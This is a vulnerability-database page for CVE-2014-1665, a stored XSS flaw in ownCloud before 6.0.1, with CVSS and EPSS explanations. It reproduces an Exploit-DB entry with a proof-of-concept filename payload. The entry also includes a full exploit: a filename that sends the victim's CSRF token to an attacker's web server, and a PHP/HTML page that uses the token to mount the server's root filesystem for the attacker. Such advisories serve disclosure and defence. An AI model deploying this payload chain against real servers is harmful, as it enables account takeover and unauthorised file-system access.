CVE-2014-1665 Detail

CVE-2014-1665

Score / Severity

5.4

Medium

CVE Descriptions

Cross-site scripting (XSS) vulnerability in ownCloud before 6.0.1 allows remote authenticated users to inject arbitrary web script or HTML via the filename of an uploaded file.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.0	5.4	MEDIUM	CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers). Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. Low The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. Required Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope Metrics An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. Changed An exploited vulnerability can affect resources beyond the authorization privileges intended by the vulnerable component. In this case the vulnerable component and the impacted component are different. Base: Impact Metrics The Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. Low There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is constrained. The information disclosure does not cause a direct, serious loss to the impacted component. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Low Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is constrained. The data modification does not have a direct, serious impact on the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. None There is no impact to availability within the impacted component. Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics	[email protected]
V2	3.5		AV:N/AC:M/Au:S/C:N/I:P/A:N	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 31427

Publication date : 2014-02-04 23h00 +00:00
Author : absane
EDB Verified : No

# Exploit Title: ownCloud 6.0.0a File Deletion XSS and CSRF Protection Bypass # Vendor Homepage: www.ownCloud.org # OwnCloud Version: 6.0.0a # Browsers tested: Iceweasel 22.0; Internet Explorer 11; # Server: Debian. Default LAMP set-up. # Exploit Author: James Sibley (absane) # Blog: http://blog.noobroot.com # Discovery date: December 12th, 2013 # Vendor notified: December 12th, 2013 # Vendor fixed: January 22th, 2014 # CVE assignment: CVE-2014-1665 A malicious ownCloud user can upload a file with JavaScript code in the filename, share it, and cause a XSS attack when the victim tries to either view the contents of the file or delete the file. If the victim is an ownCloud administrator, an attacker can force the mounting of the webserver's local file system, leading to unauthorized access to server resources and potentially shell access. ======================= =Proof of Concept.....= ======================= 1) Create a file named <img src=x onerror=alert(0);>.txt (on a Linux machine) 2) Upload it to OwnCloud by clicking on the Upload button (up arrow next to "new") on the Web UI. 3) Share the file with the victim. 4) When the victim sees the shared file in their "Shared" directory, they can: a) View the contents of the file within OwnCloud, or b) become suspicious of the file and attempt to delete it. Both a) and b) options will result in Javascript being executed in the victim's web browser. ======================= =Exploit..............= ======================= ** ** ** NOTE: Replace [ATTACKER'S WEBSERVER] with the attacker's domain/IP. ** ** NOTE: Replace [ATTACKER] with the attacker's account on ownCloud. ** ** NOTE: Replace [VICTIM] with the victim's ownCloud domain/IP. ** ** ** ** Filename (share a malicious file with this name): <img src=x onerror="var z=document.getElementsByTagName('head')[0].getAttribute('data-requesttoken'); document.location='http://[ATTACKER'S WEBSERVER]/ownCloudhack.php?rt='+z";> ** Code (ownCloudhack.php): <!DOCTYPE HTML> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>OwnCloud 6.0.0a XSS and CSRF Protection Bypass</title> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script> </head> <body> <span id="container"></span> <form id="form1"> <input type="hidden" name="mountPoint" value="LOL"> <input type="hidden" name="class" value="\OC\Files\Storage\Local"> <input type="hidden" name="classOptions[datadir]" value="/"> <input type="hidden" name="mountType" value="user"> <input type="hidden" name="applicable" value="[ATTACKER]"> <input type="hidden" name="isPersonal" value="false"> <?php echo '<input type="hidden" name="requesttoken" value="'.$_GET["rt"].'">' ?> </form> <script> $('#form1').submit(function(event) { event.preventDefault(); $.ajax({ type: 'POST', url: 'http://[VICTIM]/index.php/apps/files_external/ajax/addMountPoint.php', data: $(this).serialize(), xhrFields: { withCredentials: true }, dataType: 'json', }); }); </script> <form id="form2"> <input type="hidden" name="appid" value="files_external"> <?php echo '<input type="hidden" name="requesttoken" value="'.$_GET["rt"].'">' ?> </form> <script> $('#form2').submit(function(event) { event.preventDefault(); $.ajax({ type: 'POST', url: 'http://[VICTIM]/index.php/settings/ajax/enableapp.php', data: $(this).serialize(), xhrFields: { withCredentials: true }, dataType: 'json', }); }); function ext() { $('#form2').submit(); $("#container").text("Enabling External Storage..."); }; function mount() { $('#form1').submit(); $("#container").text("Mounting the root filesystem..."); }; function redirect() { window.location.href = 'http://[VICTIM]/'; $("#container").text("Redirecting back home ;)"); }; setTimeout(function() {ext();}, 0); setTimeout(function() {mount();}, 5000); setTimeout(function() {redirect();}, 5500); </script> </body> </html> ======================= =Mitigation...........= ======================= Upgrade to ownCloud 6.0.1 or greater. If upgrading is not an option, then the file can be removed by either 1) manually removing the file from the disk via command line interface, or 2) first renaming the file to something else and then deleting the file.